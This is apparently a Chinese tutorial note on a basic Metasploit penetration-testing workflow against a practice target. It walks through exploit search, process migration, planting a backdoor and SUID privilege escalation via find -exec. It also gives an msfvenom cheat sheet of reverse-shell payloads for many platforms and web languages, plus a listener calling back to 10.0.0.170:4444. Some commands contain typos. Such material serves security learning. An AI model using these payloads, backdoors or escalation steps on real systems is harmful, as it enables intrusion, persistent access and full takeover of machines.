渗透基本流程--msf简单使用

1.漏洞挖掘

1.1 端口扫描

查看是否存在一些高危端口,如443的心脏滴血,445的永恒之蓝这两个是我知道的。如果扫到其他端口,那么可以用metasploit 的search命令,去查看是否有相应的漏洞。假如说我们通过nmap扫到了samba服务:
那么我们就可以去找一个最新的它的漏洞尝试攻击它。

1.2 CMS

有时候网站是用CMS搭建的,那么这个CMS本身就可能存在漏洞,我们还是可以用metasploit 的search模块去找相关漏洞。我们选择最新的来进行测试。
渗透基本流程--msf简单使用_第1张图片

2. 漏洞利用

2.1 获得shell

在这里插入图片描述

2.2 进程迁移

刚获得的shell很可能是脆弱的,所以我们很有可能会失去它,所以当我们获得shell后,要把反弹shell的进程给迁移到一个稳定的进程上。

ps 获得当前的所有进程
getpid 获得反弹shell进程的id
migrete 448 把shell进程迁移到id为448的进程
run post/windows/manage/migrate 系统自动寻找合适的进程让后迁移

2.3 后门

当我们拿到shell后,要留下一个后门,这样就算漏洞别修补了,我们还可以进入。后门的生成可以是普通的一句话木马,也可以用msf生成,后面会讲。把linux改成php就可以了。

3.提权准备

3.1find

通过上一步,我们可以拿到一个www-data的权限,或者说我们的权限提升到了www-data,我理解的是,我们之所以只能达到这个权限,是因为我们在运算这个exp时,使用的就是www-data的权限。那么如果我们可以以root的权限去运行一个exp,那么我们的权限就可以到root。
SUID是Linux的一种权限机制,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。如果拥有SUID权限,那么就可以利用系统中的二进制文件和工具来进行root提权。
以下命令可以发现系统上运行的所有SUID可执行文件。具体来说,命令将尝试查找具有root权限的SUID的文件。

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

渗透基本流程--msf简单使用_第2张图片我理解的find提权就是find命令去查找一个文件时,-exec参数的值可以以root权限被执行。其中,flag.php是自己写的随便一个文件。
在这里插入图片描述

3.2 msfvenom

这是一个metasploit的命令,我理解的就是可以生成各种各样的木马

Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
Mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
Web Payloads
PHP
msfvenom -p php/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo ' | tr -d '\n' > shell.php && pbpaste >> shell.php
ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war
Scripting Payloads
Python
msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
Bash
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh

我们这里生成一个Linux的木马,可能会有报错一样的回显,但问题不大,还是可以生成的。

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f elf > shell.elf渗透基本流程--msf简单使用_第3张图片渗透基本流程--msf简单使用_第4张图片

3.3 upload

让后我们可以通过msf的upload这个命令,把木马上传到靶机上:
注意,我们此时是已经拿到靶机的www-data的session的,我们执行:

sessions -i 11(会话id //可以用sessions查看)
渗透基本流程--msf简单使用_第5张图片

进入刚才的shell,你们的id可能和我的不一样。
让后执行upload命令:

upload (from 本机文件路径) (目标路径)即
upload /root/shell.elf /var/www/

也就是把我们的root/shell.elf上传到靶机的/var/www/目录下。

4.提权

4.1监听
use exploit/multi/handler
set PAYLOAD linux/x86/meterpreter/reverse_tcp   
set LHOST 10.0.0.170
set LPORT 4444
run
4.2 反弹shell

就一句话

find flag.php -exec ./shell.elf ;

结束!

你可能感兴趣的:(渗透)